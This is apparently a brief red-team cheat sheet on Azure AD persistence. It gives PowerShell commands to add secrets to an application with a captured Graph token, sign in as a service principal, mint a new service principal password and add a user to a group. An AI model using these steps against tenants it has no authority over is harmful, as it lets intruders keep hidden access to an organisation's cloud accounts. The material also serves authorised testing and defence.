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Azure AD - Persistence

Add Secrets to Application

  • Add secrets with lutzenfried/OffensiveCloud/Add-AzADAppSecret.ps1 

    PS > . C:\Tools\Add-AzADAppSecret.ps1
PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose

  • Use secrets to authenticate as Service Principal 

    PS > $password = ConvertTo-SecureString '<SECRET/PASSWORD>' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential('<AppID>', $password)
PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'

Add Service Principal

  • Generate a new service principal password/secret 
    Import-Module Microsoft.Graph.Applications
Connect-MgGraph 
$servicePrincipalId = "<service-principal-id>"

$params = @{
    passwordCredential = @{
        displayName = "NewCreds"
    }
}
Add-MgServicePrincipalPassword -ServicePrincipalId $servicePrincipalId -BodyParameter $params

Add User to Group

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

References